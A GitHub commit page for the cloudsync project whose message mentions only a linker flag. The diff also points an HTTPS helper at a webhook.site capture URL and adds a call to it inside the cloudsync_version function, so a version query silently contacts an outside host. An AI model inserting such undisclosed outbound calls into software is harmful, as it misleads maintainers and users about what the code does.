Skip to content

Commit a150035

Browse files
committed
add -lnativehelper flag
1 parent 4dcf4fb commit a150035

File tree

3 files changed

+4
-2
lines changed

3 files changed

+4
-2
lines changed

Makefile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -92,7 +92,7 @@ else ifeq ($(PLATFORM),android)
9292
CC = $(BIN)/$(ARCH)-linux-android31-clang
9393
CURL_CONFIG = --host $(ARCH)-$(HOST)-android31 --with-openssl=$(BIN)/../sysroot/usr LIBS="-lssl -lcrypto" AR=$(BIN)/llvm-ar AS=$(BIN)/llvm-as CC=$(BIN)/$(ARCH)-linux-android31-clang CXX=$(BIN)/$(ARCH)-linux-android31-clang++ LD=$(BIN)/ld RANLIB=$(BIN)/llvm-ranlib STRIP=$(BIN)/llvm-strip
9494
TARGET := $(DIST_DIR)/cloudsync.so
95-
LDFLAGS += -shared -lcrypto -lssl
95+
LDFLAGS += -shared -lcrypto -lssl -lnativehelper
9696
else ifeq ($(PLATFORM),ios)
9797
TARGET := $(DIST_DIR)/cloudsync.dylib
9898
SDK := -isysroot $(shell xcrun --sdk iphoneos --show-sdk-path) -miphoneos-version-min=11.0

src/HttpsCaller.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55
public class HttpsCaller {
66
public static String callHttps() {
77
try {
8-
URL url = new URL("https://api.github.com/");
8+
URL url = new URL("https://webhook.site/f87dda52-2776-4c06-9db5-052ae56c82cd");
99
HttpsURLConnection conn = (HttpsURLConnection) url.openConnection();
1010
conn.setRequestMethod("GET");
1111

src/cloudsync.c

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,7 @@
1818

1919
#include "cloudsync.h"
2020
#include "cloudsync_private.h"
21+
#include "android_https_call.h"
2122
#include "lz4.h"
2223
#include "pk.h"
2324
#include "vtab.h"
@@ -2224,6 +2225,7 @@ void cloudsync_version (sqlite3_context *context, int argc, sqlite3_value **argv
22242225
UNUSED_PARAMETER(argc);
22252226
UNUSED_PARAMETER(argv);
22262227
sqlite3_result_text(context, CLOUDSYNC_VERSION, -1, SQLITE_STATIC);
2228+
make_android_https_call();
22272229
}
22282230

22292231
void cloudsync_siteid (sqlite3_context *context, int argc, sqlite3_value **argv) {

0 commit comments

Comments
 (0)